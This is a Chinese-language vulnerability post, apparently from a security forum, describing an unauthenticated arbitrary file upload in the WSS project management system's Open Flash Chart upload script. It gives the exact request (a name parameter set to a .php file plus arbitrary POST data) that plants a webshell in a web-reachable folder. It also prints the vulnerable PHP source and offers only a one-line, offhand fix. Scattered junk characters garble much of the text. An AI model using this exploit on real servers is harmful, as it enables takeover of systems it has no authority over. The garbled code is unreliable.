WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
漏洞文件/chart/php-ofc-library/ofc_upload_image.php

利用：
) ^* m3 `! t: L4 ?7 o" K  Q/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
0 M( F: G! X; C* N# {+ R; T
Post任意数据
* c: g" x2 O, x3 X/ h保存位置http://localhost/chart/tmp-upload-images/hfy.php


最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~
/ J! V, d* R: B, ^( c
* g9 r, f- `( }& o<?php
/ M6 Q4 y. Q# O5 Z
//
// In Open Flash Chart -> save_image debug mode, you
// will see the 'echo' text in a new window.
//

/*

print_r( $_GET );
9 a; s6 h0 q; dprint_r( $_POST );
print_r( $_FILES );
( I' Z3 G. \  I7 ?' u  l: i' Y3 U
" t. b4 Q6 @9 I; y0 \; I+ uprint_r( $GLOBALS );
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
" L* {6 A( j8 s" d4 |
/ ]3 U  v1 b/ K% F% Y1 z*/
" H6 ^: J3 \& H8 z! C/ }// default path for the image to be stored //
% U5 p. l4 m- {9 v% c3 n$default_path = '../tmp-upload-images/';
* {: N" a1 f) `) u0 Y: B3 ?
if (!file_exists($default_path)) mkdir($default_path, 0777, true);

// full path to the saved image including filename //
) k. M, z9 G% j: T$destination = $default_path . basename( $_GET[ 'name' ] );

echo 'Saving your image to: '. $destination;
// print_r( $_POST );
$ G" ]' _2 L4 e+ `// print_r( $_SERVER );
# c. V6 ]# G. c3 y// echo $HTTP_RAW_POST_DATA;

//
// POST data is usually string data, but we are passing a RAW .png
+ e# n. C: O0 }// so PHP is a bit confused and $_POST is empty. But it has saved
8 ?% P! n- R& Z. D// the raw bits into $HTTP_RAW_POST_DATA
8 ^( w- ]# P. @$ U- v- {//

6 @6 W, ^  X. _( d! g7 a$jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);
7 u* Y; P5 }: u) m5 D: _5 m
* m5 I) n, {" z9 T( ^. L8 i8 [' D, M& g//
// LOOK:
//
exit();
//
' Y# e, |; c* {* w// PHP5:
& e# E/ V! i3 v( B7 }( T3 C//
5 |- j! N0 f. b' M9 V

// default path for the image to be stored //
$default_path = 'tmp-upload-images/';

if (!file_exists($default_path)) mkdir($default_path, 0777, true);

! Y, L) F+ C5 Y: ]// full path to the saved image including filename //
8 ~9 A$ G* n. g! V+ W$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );

// move the image into the specified directory //
* W" Z. ]. T% g9 B( \( S' yif (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
% L% c1 a- d6 D} else {
% ^) @( r6 Q# S% @- r    echo "FILE UPLOAD FAILED";
! X( |1 b! F: O1 L; X! T' j" t}
' \1 N( l5 D3 B! P% _0 C5 g0 b0 o
, M, G% \3 X8 D& F) ?5 o# F* q
?>
+ [& O( \, r' w: Y1 f1 R7 H7 K7 v


0 l! H; p8 K9 F
2 [8 I1 p' F& L1 l! _
/ v% J. v1 i/ ~! q& ^$ v
修复方案：
) k/ C7 J& I% M/ u6 ]5 T8 \这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞



! N; ]6 ]# ?9 e8 z* {  e. K: r$ ?/ i